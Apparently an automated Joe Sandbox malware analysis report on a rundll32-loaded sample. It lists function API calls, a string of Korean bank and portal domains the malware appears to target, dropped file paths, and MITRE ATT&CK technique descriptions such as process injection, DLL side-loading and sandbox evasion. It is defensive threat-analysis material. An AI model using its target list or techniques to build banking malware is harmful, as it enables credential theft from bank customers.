Opcode Fuzzy Hash: 88411d57cb3e3dbeacca650520ba2354405dbfd77ca187300c3dbeb98fc05c50
Instruction Fuzzy Hash: B90140F5B102158BEB60DF199982B0772E8FF08254F44447AF986CFA05EBB5F884CB52

Function 1000A070 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(00000008), ref: 1000A18B
6CE12C70.MFC42(?,?,?,ROOT\CIMV2), ref: 1000A1AE
6CE12C70.MFC42(00000000,?,?,ROOT\CIMV2), ref: 1000A1B7

Strings

Win32_NetworkAdapterConfiguration, xrefs: 1000A08B

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DecrementInterlocked
String ID: Win32_NetworkAdapterConfiguration
API String ID: 3448037634-4052814535
Opcode ID: dcbc64a1a200627460223833506d59ae0a485873ca728d9a28a1fc0d324c7d81
Instruction ID: 49a93a9e5889f4a4d7e19c6da1a56bba55ab2360c9dac4e16cdcecec2b112754
Opcode Fuzzy Hash: dcbc64a1a200627460223833506d59ae0a485873ca728d9a28a1fc0d324c7d81
Instruction Fuzzy Hash: 1541C271A006158FE720DF18C88099AF3E6FB86684F248B19F855DB618E775EDC5CB81

Function 1000A200 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(00000008), ref: 1000A20E
6CE12C70.MFC42(?), ref: 1000A231
6CE12C70.MFC42(00000000), ref: 1000A23A

Strings

Win32_NetworkAdapterConfiguration, xrefs: 1000A201

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DecrementInterlocked
String ID: Win32_NetworkAdapterConfiguration
API String ID: 3448037634-4052814535
Opcode ID: a83a43c36c2ad791abc108df72a98b97aa1142c5a07bb070410fceaf22dd0828
Instruction ID: c28a89dc488e9a731896744f18f44f90fe9456c4448bec02802ad89f904d7290
Opcode Fuzzy Hash: a83a43c36c2ad791abc108df72a98b97aa1142c5a07bb070410fceaf22dd0828
Instruction Fuzzy Hash: 5FF065B6A0122157F660CF29AC45B4773DCEF46AE0B024539FC45DB208E775EDC1CA90

Function 100061F0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 124stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 10006246
strchr.MSVCRT ref: 10006310

Strings

www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke, xrefs: 10006211
, xrefs: 10006294

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strchr
String ID: $www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke
API String ID: 2830005266-1486078621
Opcode ID: 55542ce2e377251f9c8c239b7a9facd4ffdda20855bf5b2e39e9588a7081b524
Instruction ID: 22f4c21b83fa130e3717f09086c4acdffd80da0c0eff8554752984f014423e24
Opcode Fuzzy Hash: 55542ce2e377251f9c8c239b7a9facd4ffdda20855bf5b2e39e9588a7081b524
Instruction Fuzzy Hash: 9431A136604A081B972CC978985566B7AC3FBC4270FA5073DFA6B872C0DEF59E488281

Function 10010C90 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

6CE12C70.MFC42(?), ref: 10010D6E
6CE12C70.MFC42(?), ref: 10010D81
6CE12C70.MFC42(?), ref: 10010D94
6CE12C70.MFC42(00000000), ref: 10010DA0

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 024ebd3cf16b86b7db05172b19d3300478f962b870689d7c92be1f1a324c671d
Instruction ID: 76e20ac30a4a5d55d19c4aae950d6c9da367577159c72b0c1becef77eded0a0e
Opcode Fuzzy Hash: 024ebd3cf16b86b7db05172b19d3300478f962b870689d7c92be1f1a324c671d
Instruction Fuzzy Hash: 5441C6F5A043489FCB64CF69988155ABBD0FB48220F94863EF9998B741D7B4E984CB42

Function 1000FE60 Relevance: 6.1, APIs: 4, Instructions: 114timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,00000000), ref: 1000FEA9
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 1000FED6
GetLocalTime.KERNEL32(?), ref: 1000FF10
SystemTimeToFileTime.KERNEL32(?,?), ref: 1000FF20

Part of subcall function 1000F870: GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000FEC7,?), ref: 1000F87E

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID:
API String ID: 3986731826-0
Opcode ID: d76752544ed911a59727a7edf19554d459005f1b391c5dc4058420ad9c283b3b
Instruction ID: ff97dbb23fa899d1f5120cfb08b873e3bb9ee6e36dd1778d440c9f7421c03229
Opcode Fuzzy Hash: d76752544ed911a59727a7edf19554d459005f1b391c5dc4058420ad9c283b3b
Instruction Fuzzy Hash: A54182B1504B459FE310DF29C88096BF7E8FF89354F408A2EF59A83A51D771E909CB61

Function 10011725 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 10011738
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000002,00000000,00000000,?,?,00000000,00000000,10005F05,00000000), ref: 10011764
GetLastError.KERNEL32 ref: 10011774
GetLastError.KERNEL32 ref: 1001177A

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast$ByteCharMultiWidewcslen
String ID:
API String ID: 4237787585-0
Opcode ID: f25346144e8588a17020577504c641a423692082a0a8ff6178c4d9976cd073da
Instruction ID: a60b9fdcdbd7bba2f34e03c5dbd801d92a7e0330a45912f01037cd33475d2502
Opcode Fuzzy Hash: f25346144e8588a17020577504c641a423692082a0a8ff6178c4d9976cd073da
Instruction Fuzzy Hash: 02F0227620815ABDE224E6764C88DAB77ECDB852F87124638F514DE2C2E834EC81C2B0

Function 1000C800 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e57b5a74ef33a4f8e7c02b94979bb301ef9140516089241c3c50ce787c9cd0f2
Instruction ID: 31ee9fb48a3bb8c59739104f7274127136238450a65740f9f2d1a36a531c8075
Opcode Fuzzy Hash: e57b5a74ef33a4f8e7c02b94979bb301ef9140516089241c3c50ce787c9cd0f2
Instruction Fuzzy Hash: FE0167B5A107154BE791CB2CD881F86B3D8EF40298F14403BF8459B715EB74F981CB96

Function 10004FF0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,1000509A,?,75920F00), ref: 10004FFD
TerminateProcess.KERNEL32(00000000,00000000), ref: 1000500C
CloseHandle.KERNEL32(00000000), ref: 10005017
CloseHandle.KERNEL32(00000000), ref: 10005024

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseHandleProcess$OpenTerminate
String ID:
API String ID: 6823918-0
Opcode ID: ba73f2dd624f0828aa206dd07c4a16fe15200f4358f6e993a6f0722e7fc0aad8
Instruction ID: 5de784d7574f9188aa6451a23a921ffbe079856f50babf4c989d878cd4bace46
Opcode Fuzzy Hash: ba73f2dd624f0828aa206dd07c4a16fe15200f4358f6e993a6f0722e7fc0aad8
Instruction Fuzzy Hash: 5CE0C2713012306FF6625734AC4CBAF36D4EF0CB52F024200FA06D5186D670CC91C6E1

Function 10005410 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 10005484
strrchr.MSVCRT ref: 100054D1

Strings

123, xrefs: 10005474

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strrchr
String ID: 123
API String ID: 3418686817-2286445522
Opcode ID: 237b865c981e04fbe9b07c6cb26367ff6a21c7b05088142f919ac67509ad86a0
Instruction ID: 91c88f2fdba39316f7f8c12ec317d5d5c799cc6de1d8f02641f729906415f28d
Opcode Fuzzy Hash: 237b865c981e04fbe9b07c6cb26367ff6a21c7b05088142f919ac67509ad86a0
Instruction Fuzzy Hash: 7B218CB52042042BF314C238AC46BBB3BC4DB80365F54062DFA169B1D2EDBBEA898255

Function 100116B0 Relevance: 5.0, APIs: 4, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,?,00000000,00000000,10009F7F,?,Win32_NetworkAdapterConfiguration), ref: 100116C2
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000001), ref: 100116E9
GetLastError.KERNEL32(?,00000001), ref: 100116F9
GetLastError.KERNEL32(?,00000001), ref: 100116FF

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast$ByteCharMultiWidelstrlen
String ID:
API String ID: 475730466-0
Opcode ID: 74a0a33ca5c9cfc2f231fa8d56fa11b01f59c705ee89c98f7395991253ccdf2e
Instruction ID: 8a47316f605976b62342ead09f9e2ff78638c0d05c570057b729d602be0c9d28
Opcode Fuzzy Hash: 74a0a33ca5c9cfc2f231fa8d56fa11b01f59c705ee89c98f7395991253ccdf2e
Instruction Fuzzy Hash: 2B01F432504226ABD7119B60CC45BDB3FB8EF023A1F204130F804DA290E730D5A1C6A5

Analysis Process: rundll32.exePID: 380, Parent PID: 1028COMMON

Executed Functions

Function 00A905A9 Relevance: 2.6, APIs: 2, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00A90625
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00A90658

Memory Dump Source

Source File: 00000007.00000003.2168027717.0000000000A90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_a90000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
Instruction ID: d3edc25324619c31906757ebce73af4fffde0c11dd4b04b4aaa1fd6e89d5297f
Opcode Fuzzy Hash: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
Instruction Fuzzy Hash: 8721D435B00219BFDF008F658C45BEEFBF5EB54394F60C162EA10A2280E7744A519B50

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report nt11qTrX4f.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\1.txt

C:\wlbldvv.exe

C:\xrzyhhhnk\uycmiha.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
nt11qTrX4f.exe

Function 00401220 Relevance: 38.6, APIs: 20, Strings: 2, Instructions: 136
sleepfileprocessCOMMON

Function 00401140 Relevance: 4.6, APIs: 3, Instructions: 71
fileCOMMON

Function 00404578 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6
COMMON

Function 004013D0 Relevance: 37.0, APIs: 14, Strings: 7, Instructions: 216
COMMON

Function 00403B10 Relevance: 45.6, APIs: 25, Strings: 1, Instructions: 149
fileCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

